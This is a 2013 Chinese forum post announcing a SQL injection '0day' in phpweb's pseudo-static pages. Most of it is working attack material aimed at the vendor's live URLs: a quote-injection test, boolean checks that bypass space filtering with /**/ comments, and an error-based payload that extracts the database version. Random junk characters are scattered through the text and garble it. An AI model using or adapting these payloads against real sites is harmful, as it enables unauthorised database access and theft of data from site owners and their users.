找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2420|回复: 0
打印 上一主题 下一主题

phpweb伪静态页面注入0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:46:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
phpweb所有的整站程序伪静态页面都存在sql注入% c# i, b7 p; x. j& S

; w9 t% O+ s( j/ I4 _主站:http://phpweb.net/
/ E1 e5 n# H7 ^" t# j8 v加’检测:; |. c, k9 Y  e& O
0 U5 m5 _8 Q& O! l" U
http://www.phpweb.net/down/html/?772′.html' G7 ?! l  q  b% B

: _: {, p  _& y' _* g0 Z) e" K出错
5 X% n6 f. c7 l存在注入。& w/ |( c# D! Q; j* _3 z; O- b- F$ [
不能用空格,只能用/*罗6 T* l# F1 I; k. N3 P
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常. ^& @' R/ ^& Y
& l" i( ~, D" d9 `7 e6 t
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.  Z9 x/ }+ [: }! _8 v
爆数据库版本:
* p; F3 k  w+ x8 \# F1 n ! s* I, {9 ^0 g
?
4 |: `; Q4 z; l  L1
$ R! }) l) a  j- o& X0 G9 d+ `, Qhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
; `) }# S' E9 Z$ Y: D: e; }4 E2 m更新日期: 2013-01-03 13:39:50        
9 r9 a( u5 N  j' x% e, E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表